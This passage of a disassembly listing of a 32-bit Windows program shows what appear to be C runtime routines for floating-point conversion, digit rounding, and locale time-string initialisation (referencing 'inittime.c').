1 mov [ebp+var_C], eax loc_42B623: ; CODE XREF: sub_42B570+A8j cmp [ebp+var_C], 0 jl short loc_42B657 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_18] jl short loc_42B648 mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [esi+edx*4] mov [ecx+eax*4], edx jmp short loc_42B655 ; --------------------------------------------------------------------------- loc_42B648: ; CODE XREF: sub_42B570+BFj mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 loc_42B655: ; CODE XREF: sub_42B570+D6j jmp short loc_42B61A ; --------------------------------------------------------------------------- loc_42B657: ; CODE XREF: sub_42B570+B7j pop esi mov esp, ebp pop ebp retn sub_42B570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B660 proc near ; CODE XREF: sub_42B8B0+10p ; sub_42B8D0+10p var_34 = dword ptr -34h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh sub ecx, 3FFFh mov [ebp+var_4], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_10], eax cmp [ebp+var_4], 0FFFFC001h jnz short loc_42B6F0 mov [ebp+var_8], 0 lea ecx, [ebp+var_18] push ecx call sub_42B530 add esp, 4 test eax, eax jz short loc_42B6D8 mov [ebp+var_1C], 0 jmp short loc_42B6EB ; --------------------------------------------------------------------------- loc_42B6D8: ; CODE XREF: sub_42B660+6Dj lea edx, [ebp+var_18] push edx call sub_42B500 add esp, 4 mov [ebp+var_1C], 2 loc_42B6EB: ; CODE XREF: sub_42B660+76j jmp loc_42B83C ; --------------------------------------------------------------------------- loc_42B6F0: ; CODE XREF: sub_42B660+56j lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_30] push ecx call sub_42B4B0 add esp, 8 mov edx, [ebp+arg_8] mov eax, [edx+8] push eax lea ecx, [ebp+var_18] push ecx call sub_42B3D0 add esp, 8 test eax, eax jz short loc_42B720 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42B720: ; CODE XREF: sub_42B660+B5j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] mov edx, [eax+4] sub edx, [ecx+8] cmp [ebp+var_4], edx jge short loc_42B750 lea eax, [ebp+var_18] push eax call sub_42B500 add esp, 4 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp loc_42B83C ; --------------------------------------------------------------------------- loc_42B750: ; CODE XREF: sub_42B660+CFj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] cmp edx, [ecx+4] jg short loc_42B7C0 mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, [ebp+var_4] mov [ebp+var_34], ecx lea edx, [ebp+var_30] push edx lea eax, [ebp+var_18] push eax call sub_42B4B0 add esp, 8 mov ecx, [ebp+var_34] push ecx lea edx, [ebp+var_18] push edx call sub_42B570 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+8] push ecx lea edx, [ebp+var_18] push edx call sub_42B3D0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+0Ch] add ecx, 1 push ecx lea edx, [ebp+var_18] push edx call sub_42B570 add esp, 8 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp short loc_42B83C ; --------------------------------------------------------------------------- loc_42B7C0: ; CODE XREF: sub_42B660+F9j mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] cmp ecx, [eax] jl short loc_42B80B lea edx, [ebp+var_18] push edx call sub_42B500 add esp, 4 mov eax, [ebp+var_18] or eax, 80000000h mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_42B570 add esp, 8 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_8] add edx, [eax+14h] mov [ebp+var_8], edx mov [ebp+var_1C], 1 jmp short loc_42B83C ; --------------------------------------------------------------------------- loc_42B80B: ; CODE XREF: sub_42B660+168j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+14h] mov [ebp+var_8], edx mov eax, [ebp+var_18] and eax, 7FFFFFFFh mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_42B570 add esp, 8 mov [ebp+var_1C], 0 loc_42B83C: ; CODE XREF: sub_42B660:loc_42B6EBj ; sub_42B660+EBj ... mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, 20h sub eax, edx mov [ebp+var_C], eax mov edx, [ebp+var_8] mov ecx, [ebp+var_C] shl edx, cl mov eax, [ebp+var_18] or eax, edx mov ecx, [ebp+var_20] neg ecx sbb ecx, ecx and ecx, 80000000h or eax, ecx mov [ebp+var_24], eax mov edx, [ebp+arg_8] cmp dword ptr [edx+10h], 40h jnz short loc_42B88A mov eax, [ebp+arg_4] mov ecx, [ebp+var_24] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_14] mov [edx], eax jmp short loc_42B89B ; --------------------------------------------------------------------------- loc_42B88A: ; CODE XREF: sub_42B660+215j mov ecx, [ebp+arg_8] cmp dword ptr [ecx+10h], 20h jnz short loc_42B89B mov edx, [ebp+arg_4] mov eax, [ebp+var_24] mov [edx], eax loc_42B89B: ; CODE XREF: sub_42B660+228j ; sub_42B660+231j mov eax, [ebp+var_1C] mov esp, ebp pop ebp retn sub_42B660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8B0 proc near ; CODE XREF: sub_42B9B0+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_447AF8 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42B660 add esp, 0Ch pop ebp retn sub_42B8B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8D0 proc near ; CODE XREF: sub_42BA30+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_447B10 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42B660 add esp, 0Ch pop ebp retn sub_42B8D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8F0 proc near ; CODE XREF: .data:0042BA1Ap ; .data:0042F34Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh mov word ptr [ebp+var_4], cx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_8], eax push 40h lea ecx, [ebp+var_10] push ecx call sub_42B3D0 add esp, 8 test eax, eax jz short loc_42B967 mov [ebp+var_10], 80000000h mov dx, word ptr [ebp+var_4] add dx, 1 mov word ptr [ebp+var_4], dx loc_42B967: ; CODE XREF: sub_42B8F0+62j mov eax, [ebp+var_4] and eax, 0FFFFh cmp eax, 7FFFh jnz short loc_42B97D mov [ebp+var_14], 1 loc_42B97D: ; CODE XREF: sub_42B8F0+84j mov ecx, [ebp+arg_4] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_4] and eax, 0FFFFh or edx, eax mov ecx, [ebp+arg_4] mov [ecx+8], dx mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_42B8F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B9B0 proc near ; CODE XREF: sub_425E70+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_42E7F0 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42B8B0 add esp, 8 mov esp, ebp pop ebp retn sub_42B9B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax lea ecx, [ebp-10h] push ecx lea edx, [ebp-0Ch] push edx call sub_42E7F0 add esp, 1Ch mov eax, [ebp+8] push eax lea ecx, [ebp-0Ch] push ecx call sub_42B8F0 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BA30 proc near ; CODE XREF: sub_425E70+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_42E7F0 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42B8D0 add esp, 8 mov esp, ebp pop ebp retn sub_42BA30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BA70 proc near ; CODE XREF: sub_425EC0+4Dp ; sub_4260B0+45p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] mov [ebp+var_8], edx mov eax, [ebp+var_4] mov byte ptr [eax], 30h mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42BA94: ; CODE XREF: sub_42BA70+69j cmp [ebp+arg_4], 0 jle short loc_42BADB mov edx, [ebp+var_8] movsx eax, byte ptr [edx] test eax, eax jz short loc_42BAB8 mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax jmp short loc_42BABF ; --------------------------------------------------------------------------- loc_42BAB8: ; CODE XREF: sub_42BA70+32j mov [ebp+var_C], 30h loc_42BABF: ; CODE XREF: sub_42BA70+46j mov ecx, [ebp+var_4] mov dl, byte ptr [ebp+var_C] mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_42BA94 ; --------------------------------------------------------------------------- loc_42BADB: ; CODE XREF: sub_42BA70+28j mov edx, [ebp+var_4] mov byte ptr [edx], 0 cmp [ebp+arg_4], 0 jl short loc_42BB24 mov eax, [ebp+var_8] movsx ecx, byte ptr [eax] cmp ecx, 35h jl short loc_42BB24 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42BAFB: ; CODE XREF: sub_42BA70+A5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_42BB17 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42BAFB ; --------------------------------------------------------------------------- loc_42BB17: ; CODE XREF: sub_42BA70+94j mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 1 mov eax, [ebp+var_4] mov [eax], dl loc_42BB24: ; CODE XREF: sub_42BA70+75j ; sub_42BA70+80j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 31h jnz short loc_42BB40 mov eax, [ebp+arg_8] mov ecx, [eax+4] add ecx, 1 mov edx, [ebp+arg_8] mov [edx+4], ecx jmp short loc_42BB66 ; --------------------------------------------------------------------------- loc_42BB40: ; CODE XREF: sub_42BA70+BDj mov eax, [ebp+arg_0] add eax, 1 push eax call sub_414EC0 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] add ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call sub_419A90 add esp, 0Ch loc_42BB66: ; CODE XREF: sub_42BA70+CEj mov esp, ebp pop ebp retn sub_42BA70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BB70 proc near ; CODE XREF: sub_425EC0+1Ep ; sub_4260B0+1Ep ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42BBF0 add esp, 8 lea edx, [ebp+var_28] push edx push 0 push 11h sub esp, 0Ch mov eax, esp mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_8] mov [eax+4], edx mov cx, [ebp+var_4] mov [eax+8], cx call sub_42F370 add esp, 18h mov edx, [ebp+arg_8] mov [edx+8], eax movsx eax, [ebp+var_26] mov ecx, [ebp+arg_8] mov [ecx], eax movsx edx, [ebp+var_28] mov eax, [ebp+arg_8] mov [eax+4], edx lea ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_418870 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_42BB70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BBF0 proc near ; CODE XREF: sub_42BB70+Ep var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], 80000000h mov word ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+6] and ecx, 7FF0h sar ecx, 4 mov word ptr [ebp+var_14], cx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_4] mov edx, [ecx+4] and edx, 0FFFFFh mov [ebp+var_8], edx mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_14] and edx, 0FFFFh mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jz short loc_42BC67 cmp [ebp+var_1C], 7FFh jz short loc_42BC5F jmp short loc_42BCAA ; --------------------------------------------------------------------------- loc_42BC5F: ; CODE XREF: sub_42BBF0+6Bj mov word ptr [ebp+var_4], 7FFFh jmp short loc_42BCC5 ; --------------------------------------------------------------------------- loc_42BC67: ; CODE XREF: sub_42BBF0+62j cmp [ebp+var_8], 0 jnz short loc_42BC94 cmp [ebp+var_10], 0 jnz short loc_42BC94 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov word ptr [edx+8], 0 jmp loc_42BD4E ; --------------------------------------------------------------------------- loc_42BC94: ; CODE XREF: sub_42BBF0+7Bj ; sub_42BBF0+81j movsx eax, word ptr [ebp+var_14] add eax, 3C01h mov word ptr [ebp+var_4], ax mov [ebp+var_C], 0 jmp short loc_42BCC5 ; --------------------------------------------------------------------------- loc_42BCAA: ; CODE XREF: sub_42BBF0+6Dj mov cx, word ptr [ebp+var_14] sub cx, 3FFh mov word ptr [ebp+var_14], cx movsx edx, word ptr [ebp+var_14] add edx, 3FFFh mov word ptr [ebp+var_4], dx loc_42BCC5: ; CODE XREF: sub_42BBF0+75j ; sub_42BBF0+B8j mov eax, [ebp+var_8] shl eax, 0Bh mov ecx, [ebp+var_C] or ecx, eax mov edx, [ebp+var_10] shr edx, 15h or ecx, edx mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebp+var_10] shl ecx, 0Bh mov edx, [ebp+arg_0] mov [edx], ecx loc_42BCE9: ; CODE XREF: sub_42BBF0+142j mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 80000000h test ecx, ecx jnz short loc_42BD34 mov edx, [ebp+arg_0] mov eax, [edx+4] shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 80000000h neg edx sbb edx, edx neg edx or eax, edx mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx] shl eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov dx, word ptr [ebp+var_4] sub dx, 1 mov word ptr [ebp+var_4], dx jmp short loc_42BCE9 ; --------------------------------------------------------------------------- loc_42BD34: ; CODE XREF: sub_42BBF0+107j mov eax, [ebp+var_18] and eax, 0FFFFh mov ecx, [ebp+var_4] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+8], ax loc_42BD4E: ; CODE XREF: sub_42BBF0+9Fj mov esp, ebp pop ebp retn sub_42BBF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 call sub_41AC70 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BD70 proc near ; DATA XREF: .data:004479A4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4DE080, 0 jz loc_42BE11 push 48h push offset aInittime_c ; "inittime.c" push 2 push 0ACh push 1 call sub_415520 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42BDAC mov eax, 1 jmp loc_42BE47 ; --------------------------------------------------------------------------- loc_42BDAC: ; CODE XREF: sub_42BD70+30j mov eax, [ebp+var_4] push eax call sub_42BE50 add esp, 4 test eax, eax jz short loc_42BDDD mov ecx, [ebp+var_4] push ecx call sub_42C3E0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_415C60 add esp, 8 mov eax, 1 jmp short loc_42BE47 ; --------------------------------------------------------------------------- loc_42BDDD: ; CODE XREF: sub_42BD70+4Aj mov eax, [ebp+var_4] mov off_4482A8, eax mov ecx, dword_4DE1C8 push ecx call sub_42C3E0 add esp, 4 push 2 mov edx, dword_4DE1C8 push edx call sub_415C60 add esp, 8 mov eax, [ebp+var_4] mov dword_4DE1C8, eax xor eax, eax jmp short loc_42BE47 ; --------------------------------------------------------------------------- loc_42BE11: ; CODE XREF: sub_42BD70+Bj mov off_4482A8, offset off_4482B0 mov ecx, dword_4DE1C8 push ecx call sub_42C3E0 add esp, 4 push 2 mov edx, dword_4DE1C8 push edx call sub_415C60 add esp, 8 mov dword_4DE1C8, 0 xor eax, eax loc_42BE47: ; CODE XREF: sub_42BD70+37j ; sub_42BD70+6Bj ... mov esp, ebp pop ebp retn sub_42BD70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BE50 proc near ; CODE XREF: sub_42BD70+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 xor eax, eax mov ax, word_4DE202 mov [ebp+var_4], eax xor ecx, ecx mov cx, word_4DE204 mov [ebp+var_8], ecx cmp [ebp+arg_0], 0 jnz short loc_42BE82 or eax, 0FFFFFFFFh jmp loc_42C3DB ; --------------------------------------------------------------------------- loc_42BE82: ; CODE XREF: sub_42BE50+28j mov edx, [ebp+arg_0] add edx, 4 push edx push 31h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8 push edx push 32h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0Ch push edx push 33h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 34h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 35h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 36h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] push edx push 37h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 20h push edx push 2Ah mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 2Bh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 2Ch mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 2Dh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 30h push edx push 2Eh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 34h push edx push 2Fh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 30h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 38h push edx push 44h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 3Ch push edx push 45h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 40h push edx push 46h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 44h push edx push 47h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 48h push edx push 48h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 4Ch push edx push 49h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 50h push edx push 4Ah mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 54h push edx push 4Bh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 58h push edx push 4Ch mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 5Ch push edx push 4Dh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 60h push edx push 4Eh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 64h push edx push 4Fh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 68h push edx push 38h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 6Ch push edx push 39h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 70h push edx push 3Ah mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 74h push edx push 3Bh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 78h push edx push 3Ch mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 7Ch push edx push 3Dh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 80h push edx push 3Eh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 84h push edx push 3Fh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 88h push edx push 40h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx push 41h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 90h push edx push 42h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 94h push edx push 43h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 98h push edx push 28h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 9Ch push edx push 29h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A0h push edx push 1Fh mov eax, [ebp+var_8] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A4h push edx push 20h mov eax, [ebp+var_8] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add 